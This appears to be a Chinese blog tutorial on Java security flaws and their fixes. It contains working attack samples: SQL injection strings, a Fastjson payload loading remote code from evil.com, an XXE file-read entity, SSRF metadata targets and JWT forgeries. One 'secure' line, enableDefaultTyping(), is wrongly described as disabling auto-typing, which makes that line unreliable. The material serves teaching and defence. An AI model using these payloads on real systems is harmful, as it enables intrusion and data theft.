Java安全攻防案例

wen java案例 3

Java安全攻防案例分析

常见漏洞类型概览

graph TD
    A[Java安全漏洞] --> B[注入类]
    A --> C[反序列化]
    A --> D[SSRF/XXE]
    A --> E[认证授权]
    A --> F[其他]
    B --> B1[SQL注入]
    B --> B2[命令注入]
    B --> B3[模板注入]
    C --> C1[原生反序列化]
    C --> C2[Fastjson]
    C --> C3[Jackson]
    E --> E1[越权访问]
    E --> E2[JWT安全]

典型案例分析

1 SQL注入案例

漏洞代码示例
// 不安全的代码
public User getUserById(String id) {
    String sql = "SELECT * FROM users WHERE id = " + id;
    Statement stmt = connection.createStatement();
    ResultSet rs = stmt.executeQuery(sql); // 直接拼接SQL
    return mapUser(rs);
}
攻击方式
# 攻击者构造恶意输入
GET /api/user?id=1 OR 1=1--
GET /api/user?id=1 UNION SELECT username,password FROM admin--
安全修复方案
// 安全代码 - 使用预编译语句
public User getUserById(String id) {
    String sql = "SELECT * FROM users WHERE id = ?";
    PreparedStatement pstmt = connection.prepareStatement(sql);
    pstmt.setString(1, id);  // 参数化查询
    ResultSet rs = pstmt.executeQuery();
    return mapUser(rs);
}
// 使用MyBatis等框架
@Select("SELECT * FROM users WHERE id = #{id}")
User getUserById(@Param("id") String id);

2 反序列化漏洞案例

Fastjson漏洞利用
// 攻击者提交的恶意JSON
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://evil.com:1099/exploit",
  "autoCommit": true
}
安全防护方案
// 方案1: 使用安全版本(Fastjson >= 1.2.83)
// 方案2: 配置安全模式
ParserConfig.getGlobalInstance().setSafeMode(true);
// 方案3: 使用JSONObject代替自动类型
JSONObject.parseObject(json); // 不指定类型
// 方案4: 白名单过滤
ParserConfig.getGlobalInstance().addAccept("com.yourapp.entity.");
原生Java反序列化防护
// 安全的对象反序列化
public class SecureObjectInputStream extends ObjectInputStream {
    private static final Set<String> WHITELIST = new HashSet<>(Arrays.asList(
        "com.yourapp.entity.User",
        "java.util.ArrayList"
    ));
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        if (!WHITELIST.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

3 XXE攻击案例

漏洞XML
<!-- 恶意XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>
安全XML解析
// 不安全 - 使用默认配置
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
// 安全配置
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
// 对于JSON解析
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 禁用自动类型绑定

4 SSRF(服务器端请求伪造)

漏洞示例
// 不安全的URL访问
public String fetchUrl(String url) {
    URL targetUrl = new URL(url);
    HttpURLConnection conn = (HttpURLConnection) targetUrl.openConnection();
    return IOUtils.toString(conn.getInputStream());
}
// 攻击者传入: http://169.254.169.254/metadata/  (云元数据)
// 攻击者传入: http://localhost:8080/admin/  (内网服务)
防护方案
public class SafeUrlFetcher {
    private static final Set<String> BLOCKED_IP = new HashSet<>();
    private static final Set<String> BLOCKED_DOMAIN = new HashSet<>();
    static {
        BLOCKED_IP.add("127.0.0.1");
        BLOCKED_IP.add("localhost");
        BLOCKED_IP.add("169.254.169.254");
        // 添加更多
    }
    public String fetchUrl(String url) {
        // 1. 白名单/黑名单校验
        URL targetUrl = new URL(url);
        String host = targetUrl.getHost();
        // 防止DNS rebinding
        InetAddress[] addresses = InetAddress.getAllByName(host);
        for (InetAddress addr : addresses) {
            if (BLOCKED_IP.contains(addr.getHostAddress())) {
                throw new SecurityException("SSRF blocked: " + url);
            }
        }
        // 2. 只允许特定协议
        if (!"https".equals(targetUrl.getProtocol())) {
            throw new SecurityException("Only HTTPS allowed");
        }
        // 3. 重定向处理
        HttpURLConnection conn = (HttpURLConnection) targetUrl.openConnection();
        conn.setInstanceFollowRedirects(false); // 禁止自动重定向
        return IOUtils.toString(conn.getInputStream());
    }
}

5 JWT安全案例

不安全的JWT存储
// 攻击方式
// 1. 将算法改为none
{"alg":"none","typ":"JWT"}
{"sub":"admin"}
// 2. 算法混淆攻击(RS256 -> HS256)
{"alg":"HS256","typ":"JWT"}
// 使用公钥作为HMAC密钥
// 3. 弱密钥爆破
安全的JWT实现
public class JwtService {
    private static final SecretKey KEY = Keys.hmacShaKeyFor(
        "your-secure-random-key-with-sufficient-length".getBytes()
    );
    public String generateToken(User user) {
        return Jwts.builder()
            .setSubject(user.getUsername())
            .claim("role", user.getRole())
            .setIssuedAt(new Date())
            .setExpiration(new Date(System.currentTimeMillis() + 3600000))
            .signWith(KEY, SignatureAlgorithm.HS256)
            .compact();
    }
    public Jws<Claims> verifyToken(String token) {
        return Jwts.parserBuilder()
            .setSigningKey(KEY)
            .build()
            .parseClaimsJws(token);
    }
}

安全开发最佳实践

1 输入验证框架

public class InputValidator {
    // 使用注解进行参数校验
    @NotBlank(message = "用户名不能为空")
    @Pattern(regexp = "^[a-zA-Z0-9]{4,20}$", message = "格式错误")
    private String username;
    @Email(message = "邮箱格式错误")
    private String email;
    @Size(min = 8, max = 20, message = "密码长度需在8-20位之间")
    private String password;
}

2 日志脱敏

public class SensitiveDataFilter {
    public String mask(String value) {
        if (value == null) return null;
        if (value.length() <= 4) return "****";
        return value.substring(0, 2) + "****" + 
               value.substring(value.length()-2);
    }
    public String maskEmail(String email) {
        int atIndex = email.indexOf('@');
        if (atIndex <= 1) return email;
        return email.substring(0, 1) + "****" + 
               email.substring(atIndex);
    }
}

渗透测试工具与框架

1 常用工具

// 使用OWASP ZAP API进行自动化测试
public class SecurityScanner {
    public void scan(String targetUrl) {
        // 初始化客户端
        ClientApi clientApi = new ClientApi("localhost", 8080);
        // 开始扫描
        try {
            // 爬取目标
            clientApi.spider.scan(targetUrl, null, null, null, null);
            // 启动主动扫描
            clientApi.ascan.scan(targetUrl, "true", "false", null, null, null);
            // 获取警报结果
            List<Alert> alerts = clientApi.getAlerts();
            // 分析并报告
        } catch (Exception e) {
            // 异常处理
            throw new RuntimeException(e);
        }
    }
}

安全合规检查清单

graph TD
    A[安全合规检查] --> B[代码层面]
    A --> C[配置层面]
    A --> D[部署层面]
    B --> B1[SQL注入防护]
    B --> B2[XSS防护]
    B --> B3[CSRF防护]
    C --> C1[敏感信息加密]
    C --> C2[默认密码修改]
    C --> C3[TLS配置]
    D --> D1[最小权限运行]
    D --> D2[依赖版本检查]
    D --> D3[入侵检测系统]

总结要点

安全层面 关键措施 优先级
输入验证 使用参数化查询、请求参数校验
输出编码 XSS防护、HTML实体编码
认证授权 JWT签名验证、RBAC模型
数据加密 AES-256、RSA2048+
日志安全 敏感数据脱敏、日志审计
依赖管理 定期更新、漏洞扫描

安全开发核心原则:

  1. 最小权限:只授予必要的权限
  2. 纵深防御:多层安全防护机制
  3. 失败安全:系统失败时保持安全状态
  4. 不信任用户输入:所有外部输入都需要验证
  5. 安全默认配置:默认配置即安全配置

这些案例展示了Java应用中常见的安全问题及解决方案,实际开发中应结合具体业务场景,采取相应的防护措施,并定期进行安全审查和渗透测试。

Java安全攻防案例

抱歉,评论功能暂时关闭!